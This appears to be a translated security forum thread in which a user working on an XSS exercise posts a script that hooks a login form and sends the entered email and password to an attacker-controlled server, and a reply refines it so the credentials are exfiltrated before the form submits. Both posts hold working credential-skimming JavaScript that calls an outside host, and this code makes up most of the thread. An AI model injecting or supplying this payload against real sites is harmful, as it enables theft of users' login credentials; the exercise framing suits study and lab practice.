payload XSS per acquisire le credenziali di accesso

1

Sto cercando di risolvere questo esercizio . L'obiettivo è "Postare il nome utente e la password sul server controllato dell'attaccante". C'è un parametro url che il server prende e viene riflesso sulla pagina. Quale è quello che dobbiamo usare come vettore XSS.

Ora, ho scritto uno script come questo:

<script type="text/javascript"> 
function HijackCred() {
    var email = document.forms[0].elements[0].value;
    var pass = document.forms[0].elements[1].value;
    img = document.createElement("img");
    img.src = "http://192.168.2.25:8080?" + "email=" + email + "&" + "password=" + pass;
}
document.forms[0].onsubmit = HijackCred;
</script>

L'iniezione funziona bene, poiché riesco a vedere lo script riflesso sulla pagina. Tuttavia, il payload dello script non invia le credenziali al server controllato da un utente malintenzionato. Qualche suggerimento?

    
posta user1720897 15.07.2015 - 09:07
fonte

1 risposta

2

Vorrei fare ammenda al tuo script:

img = new Image();
img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass);
setTimeout('document.forms[0].submit();', 3000);
return false;

Questo dovrebbe inviare i dati alla pagina dell'attaccante e quindi inviare il modulo dopo 3 secondi, una volta che il browser ha avuto la possibilità di inviare le credenziali all'autore dell'attacco.

    
risposta data 15.07.2015 - 11:43
fonte

Leggi altre domande sui tag